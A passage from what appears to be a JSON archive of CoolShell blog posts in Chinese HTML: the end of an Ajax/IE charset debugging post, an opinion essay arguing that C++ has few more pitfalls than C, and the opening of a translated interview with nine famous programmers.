href=\"https://www.google.com/#hl=zh-CN&amp;newwindow=1&amp;q=ajax+%22%E7%B3%BB%E7%BB%9F%E9%94%99%E8%AF%AF:+-1072896658%22&amp;oq=ajax+%22%E7%B3%BB%E7%BB%9F%E9%94%99%E8%AF%AF:+-1072896658%22\" target=\"_blank\">google一查</a>，一堆页面，基本上是说乱码了，也就是ajax的后端程序返回的网页编码不认识吧。需要在返回的http header里加上 charset=utf-8。</p>\n<p>于是，修改后端的Ajax的程序，明确指定了返回的HTTP Header中的charset，于是IE下就工作正常了，再切回jQuery的load代码，一切正常了（后端的程序本来是utf-8的编码格式，但是不骨明确在HTTP Header中指定，但是只有IE不会自动检测）。</p>\n<p>这个问题的原因就是因为我们没有按照规范去写网页。所以，举一反三，HTML的规范还有哪些，太多了，记也记不住。但也许你会知道<strong>有一个叫 <a href=\"http://validator.w3.org\" target=\"_blank\">http://validator.w3.org</a> 的网站可以帮你校验你网页中的很多不规范的东西</strong>。这个工具会报很多很多错，很多都有点吹毛求疵，不过，可以让你看看（注：今天的coolshell装了很多插件，也被我调过一些东西，所以出错很多，我还记得以前没有插件没有我定制化的样式的时候，Wordpress一个错都不报）。</p>\n<h4>后记</h4>\n<p>我把这个问题和过程分享出来，主要有这么几个目的，并抛出几个问题，大家可以思考一下：</p>\n<p style=\"padding-left: 30px;\">1）这个问题网上有很多人都在报，但是基本上找不到答案（包括StackOverflow），所以，我分享出来，填补一下空白。</p>\n<p style=\"padding-left: 30px;\">2）我相信我们的程序员天天都在经历这样的事，我不知道大家在遇到这样的事情会怎么做？也许大多数人都在网上查各种解决方案，然后一个一个的试，直到试对了——散弹枪式的编程，呵呵。当然，大多数答案都是可能找到的。但<strong>当我们找到答案了后，我们还会深入去了解这个问题的具体原因并举一反三地去思考一其周边的东西吗</strong>？</p>\n<p style=\"padding-left: 30px;\">3）另外，在今天这样N多框架，N多lib，N多开源的年代下，<strong>不知道大家有没有失去了从零开始自己写代码的能力？</strong>比如上面的这个问题，不知道有多少人还会自己写原生态的Ajax？不过，我还是建议大家能在使用各种框架的时候，明白那些最基础的知识，求甚解，知其然知其所以然，真的很重要。</p>\n<p>我是从那个“吃糠的年代”过来的程序员，那时的程序员什么都要自己干，很辛苦，今天我和很多人说我以前的那些经历，会被笑话，但是我从这些什么都自己的干的年代过的经历，让我受益很多。我把我的想法分享给大家，希望对大家有用。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7186.html\"><img alt=\"做个环保主义的程序员\" height=\"150\" src=\"../wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-8-6 C++的坑真的多吗？.html",
    "content": "<html><body><p>先说明一下，我不希望本文变成语言争论贴。希望下面的文章能让我们客观理性地了解C++这个语言。（另，我觉得技术争论不要停留在非黑即白的二元价值观上，这样争论无非就是比谁的嗓门大，比哪一方的观点强，毫无价值。我们应该多看看技术是怎么演进的，怎么取舍的。）</p>\n<h4>事由</h4>\n<p><img alt=\"\" class=\"alignright size-full wp-image-8014\" height=\"240\" src=\"../wp-content/uploads/2012/08/cpp_small.jpg\" title=\"C Plus Plus\" width=\"300\"/>周五的时候，我在我的微博上发了一个贴说了一下一个网友给我发来的C++程序的规范和内存管理写的不是很好（后来我删除了，因为当事人要求），我并非批判，只是想说明其实程序员是需要一些“疫苗”的，并以此想开一个“程序员疫苗的网站”，结果，@简悦云风同学<a href=\"http://weibo.com/2388714105/yvqWKkcGV\">直接回复到</a>：“<strong>不要用 C++ 直接用 C , 就没那么多坑了。</strong>”就把这个事带入了语言之争。</p>\n<p>我又<a href=\"http://weibo.com/1401880315/yvrMMsCuT\" target=\"_blank\">发了一条微博</a>：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://weibo.com/1401880315/profile\" title=\"左耳朵耗子\">@左耳朵耗子</a> <a href=\"http://verified.weibo.com/verify\" target=\"_blank\"><img alt=\"新浪个人认证 \" src=\"http://img.t.sinajs.cn/t4/style/images/common/transparent.gif\" title=\"新浪个人认证 \"/></a>： <span style=\"color: #800080;\">说C++比C的坑更多的人我可以理解，但理性地思考一下。C语言的坑也不少啊，如果说C语言有90个坑，那么C++就是100个坑（另，<strong>我看很多人都把C语言上的坑也归到了C++上来</strong>），但是C++你得到的东西更多，封装，多态，继承扩展，泛型编程，智能指针，……，你得到了500%东西，但却只多了10%的坑，多值啊</span>。</p>\n<p>结果引来了更多的回复（只节选了一些言论）：</p>\n<ul>\n<li>@淘宝褚霸<a href=\"http://weibo.com/1915508822/yvshunX41\">也在微博里说</a>：“<span style=\"color: #800080;\">自从5年前果断扔掉C++，改用了ansi c后，我的生活质量大大提升，没有各种坑坑我。</span>”</li>\n</ul>\n<ul>\n<li>@Laruence<a href=\"http://weibo.com/1170999921/yvsgisAgB\" target=\"_blank\">在其微博里</a>说: “<span style=\"color: #800080;\">我确实用不到, C语言灵活运用struct, 可以很好的满足这些需求.//@左耳朵耗子: 封装，继承，多态，模板，智能指针，这也用不到？这也学院派？//@Laruence: 问题是, 这些东西我都用不到… C语言是工程师搞的, C++是学院派搞的</span>”</li>\n</ul>\n<p><strong>那么，C++的坑真的多么？我还请大家理性地思考一下</strong>。</p>\n<p><span id=\"more-7992\"></span></p>\n<div>\n<h4>C++真的比C差吗？</h4>\n<p>我们先来看一个图——《<a href=\"https://coolshell.cn/articles/1850.html\" target=\"_blank\">各种程序员的嘴脏的对比</a>》，从这个图上看，C程序员比C++的程序员在注释中使用fuck的字眼多一倍。这说明了什么？<strong>我个人觉得这说明C程序员没有C++程序员淡定</strong>。</p>\n</div>\n<p><img alt=\"Google Code 中程序语言出现 fuck 一词的比率\" class=\"aligncenter\" height=\"303\" src=\"../wp-content/uploads/2009/11/programming_language.jpg\" title=\"Google Code 中程序语言出现 fuck 一词的比率\" width=\"543\"/></p>\n<p>不要太纠结上图，只是轻松一下，我没那么无聊，让我们来看点真正的论据。</p>\n<p>相信用过C++的程序员知道，C++的很多特性主要就是解决C语言中的各种不完美和缺陷：（注：<strong>C89、C99中许多的改进正是从C++中所引进的</strong>）</p>\n<ul>\n<li>用namespace解决了很C函数重名的问题。</li>\n</ul>\n<ul>\n<li>用const/inline/template代替了宏，解决了C语言中宏的各种坑。</li>\n</ul>\n<ul>\n<li>用const的类型解决了很多C语言中变量值莫名改变的问题。</li>\n</ul>\n<ul>\n<li>用引用代替指针，解决了C语言中指针的各种坑。这个在Java里得到彻底地体现。</li>\n</ul>\n<ul>\n<li>用强类型检查和四种转型，解决了C语言中乱转型的各种坑。</li>\n</ul>\n<ul>\n<li>用封装（构造，析构，拷贝构造，赋值重载）解决了C语言中各种复制一个结构体（struct）或是一个数据结构（link, hashtable, list, array等）中浅拷贝的内存问题的各种坑。</li>\n</ul>\n<ul>\n<li>用封装让你可以在成员变量加入getter/setter，而不会像C一样只有文件级的封装。</li>\n</ul>\n<ul>\n<li>用函数重载、函数默认参数，解决了C中扩展一个函数搞出来像func2()之类的ugly的东西。</li>\n</ul>\n<ul>\n<li>用继承多态和RTTI解决了C中乱转struct指针和使用函数指针的诸多让代码ugly的问题。</li>\n</ul>\n<ul>\n<li>用RAII，智能指针的方式，解决了C语言中因为出现需要释放资源的那些非常ugly的代码的问题。</li>\n</ul>\n<ul>\n<li>用OO和GP解决各种C语言中用函数指针，对指针乱转型，及一大砣if-else搞出来的ugly的泛型。</li>\n</ul>\n<ul>\n<li>用STL解决了C语言中算法和数据结构的N多种坑。</li>\n</ul>\n<div>（注意：上面我没有提重载运算符和异常，前者写出来的代码并不易读和易维护（参看《<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\" title=\"恐怖的C++语言\">恐怖的C++语言</a>》后面的那个示例），坑也多，后者并不成熟（相对于Java的异常），但是我们需要知道try-catch这种方式比传统的不断地判断函数返回值和errno形成的大量的if-else在代码可读性上要好很多）</div>\n<p>上述的这些东西填了不知有多少的C语言编程和维护的坑。<strong>少用指针，多用引用，试试autoptr，用用封装，继承，多态和函数重载…… 你面对的坑只会比C少，不会多。</strong></p>\n<h4>C++的坑有多少？</h4>\n<p>C++的坑真的不多，如果你能花两到三周的时候读一下《<a href=\"http://book.douban.com/subject/1231590/\" target=\"_blank\">Effecitve C++</a>》里的那50多个条款，你就知道C++里的坑并不多，而且，有很多条款告诉我们C++是怎么解决C的坑的。然后，你可以读读《<a href=\"http://book.douban.com/subject/1967356/\" target=\"_blank\">Exceptional C++</a>》和《<a href=\"http://book.douban.com/subject/1244943/\" target=\"_blank\">More Exceptional C++</a>》，你可以了解一下C++各种问题的解决方法和一些常见的经典错误。</p>\n<p>当然，C++在解决了很多C语的坑的同时，也因为OO和泛型又引入了一些坑。消一些，加一些，我个人感觉上总体上只比C多10%左右吧。但是你有了开发速度更快，代码更易读，更易维护的500%的利益。</p>\n<p>另外，不可否认的是，C++中的代码出了错误，有时候很难搞，而且似乎用C++的人会觉得C++更容易出错？我觉得主要是下面几个原因：</p>\n<ul>\n<li><strong>C和C++都没学好，大多数人用C++写C，所以，C的坑和C++的坑合并了。</strong></li>\n</ul>\n<ul>\n<li><strong><strong>C++太灵活了，想怎么搞就怎么搞，所以，各种不经意地滥用和乱搞。</strong></strong></li>\n</ul>\n<p>另外，C++的编译对标准C++的实现各异，支持地也千差万别，所以会有一些比较奇怪的问题，但是如果你一般用用C++的封装，继承，多态，以及namespace，const, refernece,  inline, templete, overloap, autoptr，还有一些OO 模式，并不会出现奇怪的问题。</p>\n<p>而对于STL中的各种坑，我觉得是程序员们还对GP（泛型编程）理解得还不够，STL是泛型编程的顶级实践！属于是大师级的作品，一般人很难理解。必需承认STL写出来的代码和编译错误的确相当复杂晦涩，太难懂了。这也是C++的一个诟病。</p>\n<p>这和<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">Linus说的一样</a> —— “<strong>C++是一门很恐怖的语言，而比它更恐怖的是<span style=\"color: #cc0000;\">很多不合格的程序员</span>在使用着它</strong>”。注意我飘红了“<span style=\"color: #cc0000;\"><strong>很多不合格的程序员</strong></span>”！</p>\n<p>我觉得C++并不适合初级程序员使用，C++只适合高级程序员使用（参看《<a href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\" title=\"“21天教你学会C++”\">21天学好C++</a>》和《<a href=\"https://coolshell.cn/articles/2287.html\" target=\"_blank\" title=\"C++ 程序员自信心曲线图\">C++学习自信心曲线</a>》），正如《<a href=\"https://coolshell.cn/articles/6548.html\" target=\"_blank\" title=\"Why C++ ? 王者归来\">Why C++</a>》中说的，C++适合那些对开发维护效率和系统性能同时关注的高级程序员使用。</p>\n<p><strong>这就好像飞机一样，开飞机很难，开飞机要注意的东西太多太多，对驾驶员的要求很高，但你不能说飞机这个工具很烂，开飞机的坑太多。</strong>（注：我这里并不是说C++是飞机，C是汽车，C++和C的差距，比飞机到汽车的差距少太多太多，这里主要是类比，我们对待C++语言的心态！）</p>\n<h4>C++的初衷</h4>\n<p>理解C++设计的最佳读本是《<a href=\"http://book.douban.com/subject/1096216/\" target=\"_blank\">C++演化和设计</a>》，在这本书中Stroustrup说了些事：</p>\n<p style=\"padding-left: 30px;\">1）Stroustrup对C是非常欣赏，<strong>实际上早期C++许多的工作是对于C的强化和净化</strong>，并把完全兼容C作为强制性要求。C89、C99中许多的改进正是从C++中所引进。可见，Stroustrup对C语言的贡献非常之大。<strong>今天不管你对C++怎么看，C++的确扩展和进化了C，对C造成了深远的影响</strong>。</p>\n<p style=\"padding-left: 30px;\">2）Stroustrup对于C的抱怨主要来源于两个方面——在C++兼容C的过程中遇到了不少设计实现上的麻烦；以及守旧的K&amp;R C程序员对Stroustrup的批评。<strong>很多人说C++的恶梦就是要去兼容于C，这并不无道理（</strong>Java就干的比C++彻底得多<strong>）</strong>，但这并不是Stroustrup考虑的，Stroustrup一边在使尽浑身解数来兼容C，另一方面在拼命地优化C。</p>\n<p style=\"padding-left: 30px;\">3）Stroustrup在书中直接说，C++最大的竞争对手正是C，他的目的就是——<strong>C能做到的，C++也必须做到，而且要做的更好</strong>。大家觉得是不是做到了？有多少做到了，有多少还没有做到？</p>\n<p style=\"padding-left: 30px;\">4）对于同时关注的运行效率和开发效率的程序员，Stroustrup多次强调C++的目标是——“<strong>在保证效率与C语言相当的情况下，加强程序的组织性；能保证同样功能的程序，C++更短小</strong>”，<strong>这正是<span style=\"color: #ff0000;\">浅封装</span>的核心思想</strong>。而不是过渡设计的OO。（参看：<a href=\"https://coolshell.cn/articles/3036.html\" target=\"_blank\" title=\"面向对象是个骗局？！\">面向对象是个骗局</a>）</p>\n<p style=\"padding-left: 30px;\">5）这本书中举了很多例子来回应那些批评C++有运行性能问题的人。C++在其第二个版本中，引入了虚函数机制，这是C++效率最大的瓶颈了，但我个人认为虚函数就是多了一次加法运算，但让我们的代码能有更好的组织，极大增加了程序的阅读和降底了维护成本。（注：Lippman的《<a href=\"http://book.douban.com/subject/1091086/\" target=\"_blank\">深入探索C++对象模型</a>》也说明了C++不比C的程序在运行性能低。Bruce的《<a href=\"http://book.douban.com/subject/1057170/\" target=\"_blank\">Think in C++</a>》也说C++和C的性能相差只有5%）</p>\n<p style=\"padding-left: 30px;\">6）这本书中还讲了一些C++的痛苦的取舍，印象最深的就是多重继承，提出，拿掉，再被提出，反复很多次，大家在得与失中不断地辩论和取舍。这个过程让我最大的收获是——a) <strong>对于任何一种设计都有好有坏，都只能偏重一方</strong>，b) <strong>完全否定式的批评是不好的心态，好的心态应该是建设性地批评</strong>。</p>\n<h4>我对C++的感情</h4>\n<p>我先说说我学C++的经历。</p>\n<p>我毕业时，是直接从C跳过C++学Java的，但是<strong>学Java的时候，不知道为什么Java要设计成这样，只好回头看C++，结果学C++的时候又有很多不懂，又只得回头看C</strong>，<strong>最后发现，C -&gt; C++ -&gt; Java的过程，就是C++填C的坑，Java填C++的坑的过程</strong>。</p>\n<p>注，下面这些东西可以看到Java在填C/C++坑：</p>\n<ul>\n<li>Java彻底废弃了指针（指针这个东西，绝对让这个社会有几百亿的损失），使用引用。</li>\n<li>Java用GC解决了C++的各种内存问题的诟病，当然也带来了GC的问题，不过功大于过。</li>\n<li>Java对异常的支持比C++更严格，让编程更方便了。</li>\n<li>Java没有像C++那样的template/macro/函数对象/操作符重载，泛型太晦涩，用OO更容易一些。</li>\n<li>Java改进了C++的构造、析构、拷贝构造、赋值。</li>\n<li>Java对完全抛弃了C/C++这种面向过程的编程方式，并废弃了多重继承，更OO（如：用接口来代替多重继承）</li>\n<li>Java比较彻底地解决了C/C++自称多年的跨平台技术。</li>\n<li>Java的反射机制把这个语言提升了一个高度，在这个上面可以构建各种高级用法。</li>\n<li>C/C++没有一些比较好的类库，比如UI，线程 ，I/O，字符串处理等。（C++0x补充了一些）</li>\n<li>等等……</li>\n</ul>\n<p>当然时代还在前进，这个演变的过程还在C#和Go上体现着。不过我学习了C -&gt; C++  -&gt; Java这个填坑演进的过程，让我明白了很多东西：</p>\n<ul>\n<li>我明白了OO是怎么一回事，重要的是明白了OO的封装，继承，和多态是怎么实现的。（参看我以前写过的《<a href=\"https://coolshell.cn/articles/12165.html\" target=\"_blank\" title=\"C++ 虚函数表解析\">C++虚函数表解析</a>》和《<a href=\"https://coolshell.cn/articles/12176.html\" target=\"_blank\" title=\"C++ 对象的内存布局\">C++对象内存布局</a>》）</li>\n<li>我明白了STL的泛型编程和Java的各种花哨的技术是怎么一回事，以及那些很花哨的编程方法和技术。</li>\n<li>我明白了C，C++，Java的各中坑，这就好像玩火一样，我知道怎么玩火不会烧身了。</li>\n</ul>\n<p><span style=\"color: #cc0000;\"><strong>我从这个学习过程中得到的最大的收获不是语言本身，而是各式各样的编程技术和方法，和技术的演进的过程，这比语言本身更重要</strong>！</span>（<strong>在这个角度上学习，你看到的不是一个又一个的坑，你看到的是——各式各样让你可以爬得更高的梯子</strong>）</p>\n<p>我对C++的感情有三个过程：先是喜欢地要死，然后是恨地要死，现在的又爱又恨，爱的是这个语言，恨的是很多不合格的人在滥用和凌辱它。</p>\n<h4>C++的未来</h4>\n<p>C++语言发展大概可以分为三个阶段（<a href=\"http://zh.wikipedia.org/wiki/C%2B%2B\" target=\"_blank\">摘自Wikipedia</a>）：</p>\n<ul>\n<li>第一阶段从80年代到1995年。这一阶段C++语言基本上是传统类型上的面向对象语言，并且凭借著接近C语言的效率，在工业界使用的开发语言中占据了相当大份额；</li>\n<li>第二阶段从1995年到2000年，这一阶段由于标准模板库（STL）和后来的Boost等程式库的出现，泛型程式设计在C++中占据了越来越多的比重性。当然，同时由于Java、C#等语言的出现和硬件价格的大规模下降，C++受到了一定的冲击；</li>\n<li>第三阶段从2000年至今，由于以Loki、MPL等程式库为代表的产生式编程和模板元编程的出现，C++出现了发展历史上又一个新的高峰，这些新技术的出现以及和原有技术的融合，使C++已经成为当今主流程式设计语言中最复杂的一员。</li>\n</ul>\n<p>在《<a href=\"https://coolshell.cn/articles/6548.html\" target=\"_blank\" title=\"Why C++ ? 王者归来\">Why C++? 王者归来</a>》中说了 ，性能主要就是要省电，省电就是省钱，在数据中心还不明显，在手机上就更明显了，这就是为什么Android 支持C++的原因。所以，在NB的电池或是能源出现之前，<strong>如果你需要注重程序的运行性能和开发效率，并更关注程序的运性能，那么，应该首选 C++</strong>。这就是iOS开发也支持C++的原因。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"318\" src=\"../wp-content/uploads/2012/02/WhyCPP.04.jpg\" title=\"\" width=\"567\"/></p>\n<p>今天的C++11中不但有更多更不错的东西，而且，还填了更多原来C++的坑。（参看：<a href=\"http://zh.wikipedia.org/wiki/C%2B%2B11\" target=\"_blank\">C++11 Wiki</a>，<a href=\"https://coolshell.cn/articles/5265.html\" target=\"_blank\" title=\"C++11 中值得关注的几大变化（详解）\">C++ 11的主要特性</a>）</p>\n<p style=\"text-align: center;\"> <img alt=\"\" height=\"319\" src=\"../wp-content/uploads/2012/02/WhyCPP.11.jpg\" title=\"\" width=\"567\"/></p>\n<h4><strong>总结</strong></h4>\n<ul>\n<li><strong>C++并不完美，但学C++必然让你受益无穷。</strong></li>\n</ul>\n<ul>\n<li><strong>是那些不合格的、想对编程速成的程序员让C++变得坑多。</strong></li>\n</ul>\n<p>最后，非常感谢能和“<strong>@简悦云风</strong>”，“<strong>@淘宝诸霸</strong>”，“<strong>@Laruence</strong>”一起讨论这个问题！无论你们的观点怎么样，我都和你们“在一起”，嘿嘿嘿……</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5576.html\"><img alt=\"那些曾伴我走过编程之路的软件\" height=\"150\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4905.html\"><img alt=\"语言的数据亲和力\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-9-14 对九个超级程序员的采访.html",
    "content": "<html><body><p>原文：《<a href=\"http://www.dodgycoder.net/2012/09/q-with-nine-great-programmers.html\" target=\"_blank\">Q&amp;A With Nine Great Programmers</a>》时间有限，我只能粗译，难免错误。</p>\n<p><strong>这篇访谈源自2006年，最先发布在波兰程序员 Jaroslaw “sztywny” Rzeszótko (AKA “Stiff”) 的博客上。但是这篇博文现在找不到了。非常感谢他能授权我重新发布这个博文。</strong></p>\n<p style=\"padding-left: 30px;\"><em>在一个炎热无聊的下午，我突发奇想。我想通过电子邮件的方式对那些我非常感兴趣和非常敬重的程序员问10个问题。准备这10个问题我只花了5分钟，这些都是我个人想问他们的问题，所以，我基本上没想太多要问他们什么。最后两个问题和编程没有什么关系，我就是想问题这些人的一些兴趣爱好。另外，不是每一个人都想回答我的，这是我第一次做“访谈”，所以，我犯了一些错误，一些问题没有得到回答。不管怎么样，我得到了很多很有意思的内容，所以，这对我绝对是一次很有意义的经历。</em><br/>\n<em></em></p>\n<p style=\"padding-left: 30px;\"><em>并不是每一个人都回了我的邮件，也并不是每一个人都同意回答我的这些问题，也许在我发布这篇文章后我会得到那些回答，但是我已经迫不及待想把这些东西发布了，所以，我可能会更新这篇文章（更新：2006年3月8日，我收到了<em>Bjarne Stroustrup的回信</em>）</em></p>\n<p><em>— Jaroslaw</em></p>\n<h4>介绍</h4>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Linus_Torvalds\"><strong>Linus Torvalds</strong></a> – <a href=\"http://linux.org/\">Linux kernel</a> 作者。</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Dave_Thomas_(programmer)\"><strong>Dave Thomas</strong></a> – “Pragmatic Programmer”(注：<a href=\"http://book.douban.com/subject/1417047/\" target=\"_blank\">douban</a>) 和 “Programming Ruby”(注：<a href=\"http://book.douban.com/subject/1422056/\" target=\"_blank\">douban</a>) 以及其它一些优秀书籍的作者。 你可以在 <a href=\"http://pragdave.pragprog.com/\">这里</a> 读读他对编程的一些想法。</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/David_Heinemeier_Hansson\"><strong>David Heinemeier Hansson</strong></a> –   <a href=\"http://rubyonrails.org/\">Rails Framework</a> 作者- 一个目前最新最热的Web开发框架。他的blog在 <a href=\"http://david.heinemeierhansson.com/\">这里</a>. （陈皓注：他也是<a href=\"http://en.wikipedia.org/wiki/37signals\" title=\"37signals\">37signals</a>的领导人之一）</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Steve_Yegge\"><strong>Steve Yegge</strong></a> – 他可能并不那么知名，但是他给了很多有意思的回答。他有一个很火的关于编程的 <a href=\"http://steve-yegge.blogspot.com/\">blog</a>，他也是游戏 “Wyvern” 的作者。（陈皓注：他最火的是去年在google+上<a href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\" title=\"SteveY对Amazon和Google平台的长篇大论\">对google和amazon的吐槽</a>，06年他应该在google了）</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Peter_Norvig\"><strong>Peter Norvig</strong></a> – Research Director at Google, 知名的 Lisper，AI书的著名作家，<a href=\"http://norvig.com/\">个人主页</a>。</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Guido_Van_Rossum\"><strong>Guido Van Rossum</strong></a> – <a href=\"http://python.org/\">Python</a> 发明者。</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Bjarne_Stroustrup\"><strong>Bjarne Stroustrup</strong></a> – C++发明者， <a href=\"http://www.stroustrup.com/\">个人主页</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://en.wikipedia.org/wiki/James_Gosling\">James Gosling</a></strong> –  <a href=\"http://java.sun.com/\">Java</a> 发明者。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://en.wikipedia.org/wiki/Tim_bray\">Tim Bray</a></strong> –  XML 和 Atom 规格说明书作者之一 <a href=\"http://www.tbray.org/ongoing/\">个人博客</a> 。</li>\n</ul>\n<div><span id=\"more-8275\"></span></div>\n<h4>Q 1: 你是怎么学编程的？是从学校里学的吗？或者你没有上过学:) ？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>在我17岁的时候，我在HP的计算器中用他们的RPN 栈语言自学编程的。在这之前，我尝试过学习编程一两次，但都没有学成。HP 28c 和 48g 的科学计算器是一个很牛的东西，而且还有不错的文档。我搞了一本3D图形的书，并很费力地把其中的Pascal语言转成RPN栈语言，并用48g写了一个3D的线框图渲染图。运行的还不错，在我买了PC和Turbo Pascal之后，我开始认真地学习编程。在我进入大学计算机科学专业之前，我已经是一个不错的程序员了。</p>\n<p>我在华盛顿大学拿到了计算机科学学位，这绝对是有价值的，所以，我建议所有的程序员都应该得到计算机科学专业的学位。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>我没有在学校里学过编程，我在主要是读我自己想读的书，或是就直接去编程 (一开始在 <a href=\"http://en.wikipedia.org/wiki/Commodore_VIC-20\" target=\"_blank\">Commodore VIC-20</a> 学编程， 然后是 <a 